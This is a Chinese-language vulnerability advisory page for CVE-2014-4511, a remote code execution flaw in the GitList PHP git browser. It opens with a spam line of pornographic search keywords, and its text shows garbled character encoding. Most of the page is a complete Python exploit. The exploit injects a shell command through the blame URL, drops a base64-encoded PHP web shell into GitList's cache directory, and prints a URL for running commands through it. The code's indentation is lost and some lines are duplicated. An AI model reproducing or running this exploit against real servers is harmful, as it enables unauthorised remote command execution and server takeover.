欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

GitList遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2014-4511)

  發(fā)布時(shí)間：2014-07-03 10:05:26   作者：佚名   我要評(píng)論
GitList遠(yuǎn)程代碼執(zhí)行漏洞

受影響系統(tǒng)：
GitList GitList < 0.4.0
 GitList GitList
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68253
 CVE(CAN) ID: CVE-2014-4511
 
GitList是用PHP編寫(xiě)的開(kāi)源軟件，是git庫(kù)瀏覽器。
 
GitList 0.4.0之前版本在實(shí)現(xiàn)上存在遠(yuǎn)程代碼執(zhí)行漏洞，遠(yuǎn)程攻擊者可利用此漏洞執(zhí)行任意代碼。
 
<*來(lái)源：drone
  *>
測(cè)試方法： --------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性，僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)！


復(fù)制代碼
代碼如下:

from commands import getoutput
import urllib
import sys
from commands import getoutput
import urllib
import sys
"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: <a >http://gitlist.org/</a>
Software link: <a >https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: <a >http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
cve: CVE-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] Using cache location %s' % path
# payload <?system($_GET['cmd']);?> payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out

建議：
--------------------------------------------------------------------------------
廠商補(bǔ)?。?br /> 
GitList
 -------
 目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問(wèn)題，請(qǐng)到廠商的主頁(yè)下載：
 
http://gitlist.org/

相關(guān)文章

最新評(píng)論